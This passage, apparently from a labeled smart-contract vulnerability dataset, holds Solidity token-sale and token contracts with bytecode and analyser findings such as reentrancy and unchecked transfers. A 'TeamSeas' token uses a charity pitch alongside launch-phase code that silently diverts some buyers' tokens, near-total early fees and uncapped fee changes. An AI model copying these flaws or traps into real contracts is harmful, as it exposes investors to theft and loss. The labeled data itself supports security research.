fffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181357600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561186157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506118b882600054611b5290919063ffffffff16565b6000819055506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a7457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515611b4857fe5b8091505092915050565b6000828211151515611b6057fe5b818303905092915050565b602060405190810160405280600081525090565b6000806000841415611b945760009150611bb3565b8284029050828482811515611ba557fe5b04141515611baf57fe5b8091505b50929150505600a165627a7a72305820752c0d0835c8065e57584108781008715b6e9bb3f113d63c782c4008e1c9b3860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 1,674 |
0x2c8d4c15e563a607588d194fa250e1aa13b83a64
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender == owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "address(0) != _newOwner");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "msg.sender == newOwner");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
function burn(uint256 _value) public returns(bool);
uint256 public totalSupply;
uint256 public decimals;
}
contract rateInterface {
function readRate(string _currency) public view returns (uint256 oneEtherValue);
}
contract RC {
using SafeMath for uint256;
DaicoCoinCrowd tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public etherMinimum;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public oneTokenInFiatWei;
constructor(address _tokenSaleContract, uint256 _oneTokenInFiatWei, uint256 _remainingTokens, uint256 _etherMinimum, uint256 _startTime , uint256 _endTime) public {
require ( _tokenSaleContract != 0, "Token Sale Contract can not be 0" );
require ( _oneTokenInFiatWei != 0, "Token price can no be 0" );
require( _remainingTokens != 0, "Remaining tokens can no be 0");
tokenSaleContract = DaicoCoinCrowd(_tokenSaleContract);
soldTokens = 0;
remainingTokens = _remainingTokens;
oneTokenInFiatWei = _oneTokenInFiatWei;
etherMinimum = _etherMinimum;
setTimeRC( _startTime, _endTime );
}
function setTimeRC(uint256 _startTime, uint256 _endTime ) internal {
if( _startTime == 0 ) {
startTime = tokenSaleContract.startTime();
} else {
startTime = _startTime;
}
if( _endTime == 0 ) {
endTime = tokenSaleContract.endTime();
} else {
endTime = _endTime;
}
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()" );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
function changeMinimum(uint256 _newEtherMinimum) public onlyTokenSaleOwner {
etherMinimum = _newEtherMinimum;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
uint256 oneEther = 1 ether;
return oneEther.mul(10**18).div( tokenSaleContract.tokenValueInEther(oneTokenInFiatWei) );
}
event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInUsdWei );
function () public payable {
require( now > startTime, "now > startTime" );
require( now < endTime, "now < endTime" );
require( msg.value >= etherMinimum, "msg.value >= etherMinimum");
require( remainingTokens > 0, "remainingTokens > 0" );
uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(msg.sender, oneTokenInFiatWei, remainingTokens);
remainingTokens = remainingTokens.sub(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
emit BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInFiatWei );
}
}
contract DaicoCoinCrowd is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
rateInterface public rateContract;
address public wallet;
uint256 public decimals;
uint256 public endTime; // seconds from 1970-01-01T00:00:00Z
uint256 public startTime; // seconds from 1970-01-01T00:00:00Z
uint256 public oneTokenInEur;
mapping(address => bool) public rc;
constructor(address _tokenAddress, address _rateAddress, uint256 _startTime, uint256 _endTime, uint256[] _time, uint256[] _funds, uint256 _oneTokenInEur, uint256 _activeSupply) public {
tokenContract = tokenInterface(_tokenAddress);
rateContract = rateInterface(_rateAddress);
setTime(_startTime, _endTime);
decimals = tokenContract.decimals();
oneTokenInEur = _oneTokenInEur;
wallet = new MilestoneSystem(_tokenAddress, _time, _funds, _oneTokenInEur, _activeSupply);
}
function tokenValueInEther(uint256 _oneTokenInFiatWei) public view returns(uint256 tknValue) {
uint256 oneEtherPrice = rateContract.readRate("eur");
tknValue = _oneTokenInFiatWei.mul(10 ** uint256(decimals)).div(oneEtherPrice);
return tknValue;
}
modifier isBuyable() {
require( wallet != address(0), "wallet != address(0)" );
require( now > startTime, "now > startTime" ); // check if started
require( now < endTime, "now < endTime"); // check if ended
require( msg.value > 0, "msg.value > 0" );
uint256 remainingTokens = tokenContract.balanceOf(this);
require( remainingTokens > 0, "remainingTokens > 0" ); // Check if there are any remaining tokens
_;
}
event Buy(address buyer, uint256 value, address indexed ambassador);
modifier onlyRC() {
require( rc[msg.sender], "rc[msg.sender]" ); //check if is an authorized rcContract
_;
}
function buyFromRC(address _buyer, uint256 _rcTokenValue, uint256 _remainingTokens) onlyRC isBuyable public payable returns(uint256) {
uint256 oneToken = 10 ** uint256(decimals);
uint256 tokenValue = tokenValueInEther(_rcTokenValue);
uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue);
address _ambassador = msg.sender;
uint256 remainingTokens = tokenContract.balanceOf(this);
if ( _remainingTokens < remainingTokens ) {
remainingTokens = _remainingTokens;
}
if ( remainingTokens < tokenAmount ) {
uint256 refund = tokenAmount.sub(remainingTokens).mul(tokenValue).div(oneToken);
tokenAmount = remainingTokens;
forward(msg.value.sub(refund));
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
forward(msg.value);
}
tokenContract.transfer(_buyer, tokenAmount);
emit Buy(_buyer, tokenAmount, _ambassador);
return tokenAmount;
}
function forward(uint256 _amount) internal {
wallet.transfer(_amount);
}
event NewRC(address contr);
function addRC(address _rc) onlyOwner public {
rc[ _rc ] = true;
emit NewRC(_rc);
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
function setRateContract(address _rateAddress) public onlyOwner {
rateContract = rateInterface(_rateAddress);
}
function claim(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
function () public payable {
revert();
}
}
contract MilestoneSystem {
using SafeMath for uint256;
tokenInterface public tokenContract;
DaicoCoinCrowd public tokenSaleContract;
uint256[] public time;
uint256[] public funds;
bool public locked = false;
uint256 public endTimeToReturnTokens;
uint8 public step = 0;
uint256 public constant timeframeMilestone = 3 days;
uint256 public constant timeframeDeath = 30 days;
uint256 public activeSupply;
uint256 public oneTokenInEur;
mapping(address => mapping(uint8 => uint256) ) public balance;
mapping(uint8 => uint256) public tokenDistrusted;
constructor(address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _oneTokenInEur, uint256 _activeSupply) public {
require( _time.length != 0, "_time.length != 0" );
require( _time.length == _funds.length, "_time.length == _funds.length" );
tokenContract = tokenInterface(_tokenAddress);
tokenSaleContract = DaicoCoinCrowd(msg.sender);
time = _time;
funds = _funds;
activeSupply = _activeSupply;
oneTokenInEur = _oneTokenInEur;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()" );
_;
}
event Distrust(address sender, uint256 amount);
event Locked();
function distrust(address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
if ( !locked ) {
uint256 startTimeMilestone = time[step].sub(timeframeMilestone);
uint256 endTimeMilestone = time[step];
uint256 startTimeProjectDeath = time[step].add(timeframeDeath);
bool unclaimedFunds = funds[step] > 0;
require(
( now > startTimeMilestone && now < endTimeMilestone ) ||
( now > startTimeProjectDeath && unclaimedFunds ),
"( now > startTimeMilestone && now < endTimeMilestone ) || ( now > startTimeProjectDeath && unclaimedFunds )"
);
} else {
require( locked && now < endTimeToReturnTokens ); //a timeframePost to deposit all tokens and then claim the refundMe method
}
balance[_from][step] = balance[_from][step].add(_value);
tokenDistrusted[step] = tokenDistrusted[step].add(_value);
emit Distrust(msg.sender, _value);
if( tokenDistrusted[step] > activeSupply && !locked ) {
locked = true;
endTimeToReturnTokens = now.add(timeframeDeath);
emit Locked();
}
}
function tokenFallback(address _from, uint _value, bytes _data) public {
distrust( _from, _value, _data);
}
function receiveApproval( address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
require(msg.sender.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, this, _value));
distrust( _from, _value, _data);
}
event Trust(address sender, uint256 amount);
event Unlocked();
function trust(uint8 _step) public {
require( balance[msg.sender][_step] > 0 , "balance[msg.sender] > 0");
uint256 amount = balance[msg.sender][_step];
balance[msg.sender][_step] = 0;
tokenDistrusted[_step] = tokenDistrusted[_step].sub(amount);
tokenContract.transfer(msg.sender, amount);
emit Trust(msg.sender, amount);
if( tokenDistrusted[step] <= activeSupply && locked ) {
locked = false;
endTimeToReturnTokens = 0;
emit Unlocked();
}
}
event Refund(address sender, uint256 money);
function refundMe() public {
require(locked, "locked");
require( now > endTimeToReturnTokens, "now > endTimeToReturnTokens" );
uint256 ethTot = address(this).balance;
require( ethTot > 0 , "ethTot > 0");
uint256 tknAmount = balance[msg.sender][step];
require( tknAmount > 0 , "tknAmount > 0");
balance[msg.sender][step] = 0;
tokenContract.burn(tknAmount);
uint256 tknTot = tokenDistrusted[step];
uint256 rate = tknAmount.mul(1 ether).div(tknTot);
uint256 money = ethTot.mul(rate).div(1 ether);
uint256 moneyMax = tknAmount.mul( tokenSaleContract.tokenValueInEther( oneTokenInEur )).div(1 ether) ;
if ( money > moneyMax) { //This protects the project from the overvaluation of ether
money = moneyMax;
}
if( money > address(this).balance ) {
money = address(this).balance;
}
msg.sender.transfer(money);
emit Refund(msg.sender, money);
}
function OwnerWithdraw() public onlyTokenSaleOwner {
require(!locked, "!locked");
require(now > time[step], "now > time[step]");
require(funds[step] > 0, "funds[step] > 0");
uint256 amountApplied = funds[step];
funds[step] = 0;
step = step+1;
uint256 value;
if( amountApplied > address(this).balance || time.length == step+1)
value = address(this).balance;
else {
value = amountApplied;
}
msg.sender.transfer(value);
}
function OwnerWithdrawTokens(address _tokenContract, address to, uint256 value) public onlyTokenSaleOwner returns (bool) { //for airdrop reason to distribute to CoinCrowd Token Holder
require( _tokenContract != address(tokenContract), "_tokenContract != address(tokenContract)"); // the owner can withdraw tokens except CoinCrowd Tokens
return tokenInterface(_tokenContract).transfer(to, value);
}
function () public payable {
require(msg.sender == address(tokenSaleContract), "msg.sender == address(tokenSaleContract)");
}
}
|
0x6080604052600436106100a05763ffffffff60e060020a60003504166312ade015811461035b57806312fa6feb146103825780631f2698ab146103ab5780632a513dd9146103c05780633197cbb6146103da5780635ed9ebfc146103ef578063675cef141461040457806378e97925146104195780637e1c0c091461042e578063a0355eca14610443578063a035b1fe1461045e578063bf58390314610473575b60015460009042116100fc576040805160e560020a62461bcd02815260206004820152600f60248201527f6e6f77203e20737461727454696d650000000000000000000000000000000000604482015290519081900360640190fd5b6002544210610155576040805160e560020a62461bcd02815260206004820152600d60248201527f6e6f77203c20656e6454696d6500000000000000000000000000000000000000604482015290519081900360640190fd5b6003543410156101af576040805160e560020a62461bcd02815260206004820152601960248201527f6d73672e76616c7565203e3d2065746865724d696e696d756d00000000000000604482015290519081900360640190fd5b600554600010610209576040805160e560020a62461bcd02815260206004820152601360248201527f72656d61696e696e67546f6b656e73203e203000000000000000000000000000604482015290519081900360640190fd5b600054600654600554604080517f4769ed8f0000000000000000000000000000000000000000000000000000000081523360048201526024810193909352604483019190915251600160a060020a0390921691634769ed8f913491606480830192602092919082900301818588803b15801561028457600080fd5b505af1158015610298573d6000803e3d6000fd5b50505050506040513d60208110156102af57600080fd5b50516005549091506102c7908263ffffffff61048816565b6005556004546102dd908263ffffffff61049f16565b60048190555033600160a060020a03167f99d83b77a8a0fbdd924ad497f587bec4b963b71e8925e31a2baed1fbce2a165260003634856006546040518080602001858152602001848152602001838152602001828103825287878281815260200192508082843760405192018290039850909650505050505050a250005b34801561036757600080fd5b506103706104ac565b60408051918252519081900360200190f35b34801561038e57600080fd5b506103976104b2565b604080519115158252519081900360200190f35b3480156103b757600080fd5b506103976104c9565b3480156103cc57600080fd5b506103d86004356104de565b005b3480156103e657600080fd5b506103706105e6565b3480156103fb57600080fd5b506103706105ec565b34801561041057600080fd5b506103706105f2565b34801561042557600080fd5b506103706105f8565b34801561043a57600080fd5b506103706105fe565b34801561044f57600080fd5b506103d8600435602435610617565b34801561046a57600080fd5b50610370610736565b34801561047f57600080fd5b50610370610804565b60008282111561049457fe5b508082035b92915050565b8181018281101561049957fe5b60065481565b60006002544211806104c45750600554155b905090565b60006001544211806104c45750506005541590565b6000809054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561053057600080fd5b505af1158015610544573d6000803e3d6000fd5b505050506040513d602081101561055a57600080fd5b5051600160a060020a031633146105e1576040805160e560020a62461bcd02815260206004820152602760248201527f6d73672e73656e646572203d3d20746f6b656e53616c65436f6e74726163742e60448201527f6f776e6572282900000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600355565b60025490565b60045481565b60035481565b60015490565b60006104c460045460055461049f90919063ffffffff16565b6000809054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561066957600080fd5b505af115801561067d573d6000803e3d6000fd5b505050506040513d602081101561069357600080fd5b5051600160a060020a0316331461071a576040805160e560020a62461bcd02815260206004820152602760248201527f6d73672e73656e646572203d3d20746f6b656e53616c65436f6e74726163742e60448201527f6f776e6572282900000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b81156107265760018290555b80156107325760028190555b5050565b60008054600654604080517f7b413985000000000000000000000000000000000000000000000000000000008152600481019290925251670de0b6b3a7640000926107fe92600160a060020a0390911691637b4139859160248082019260209290919082900301818987803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b505050506040513d60208110156107d857600080fd5b50516107f283670de0b6b3a764000063ffffffff61080a16565b9063ffffffff61083316565b91505090565b60055490565b600082151561081b57506000610499565b5081810281838281151561082b57fe5b041461049957fe5b6000818381151561084057fe5b0493925050505600a165627a7a72305820c6da7fefbf2996fdb547b09edb091b1457d5fc68b4fa9b9f27455ad9455e70ce0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,675 |
0x4c9d4f9d552f2ea06e6724b71ccbd74f0a399a2f
|
/**
A token inspired by MrBeast's TeamSeas initiative!
50% of the marketing wallet will get donated to TeamSeas!
Telegram: https://t.me/TeamSeasCharity
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TeamSeas is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'TeamSeas';
string constant _symbol = 'SEAS';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 25;
uint256 _maxWalletAmount = _totalSupply / 12;
uint256 initialswapback = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 50;
uint256 marketingFee = 50;
uint256 totalFee = 100;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = address(0xD45253119b16D72499305c95CF5139aa10F01986);
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _simpleTransfer(sender, recipient, amount);}
if(shouldSwapBack()){ if(block.timestamp >= launchedTime + 1 minutes && initialswapback == 0){
swapBackInitial();} else{swapBack();}
}
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);}
if(launchMode() && recipient != pair && block.timestamp < _holderLastTransferTimestamp[recipient] + 20){
_holderLastTransferTimestamp[recipient] = block.timestamp;
_balances[address(this)] = _balances[address(this)].add(amount);
emit Transfer(sender, recipient, 0);
emit Transfer(sender, address(this), amount);
return true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function getTotalFee() public view returns (uint256) {
if(launchedAt + 3 > block.number){ return feeDenominator.sub(1); }
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount;
if(launchMode() && amount > _maxTxAmount){
feeAmount = amount.sub(_maxTxAmount);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);}
feeAmount = amount.mul(getTotalFee()).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function swapBackInitial() internal swapping {
uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
initialswapback = initialswapback +1;
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
}
function justinCaseofClog()external authorized{
swapBackInitial();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
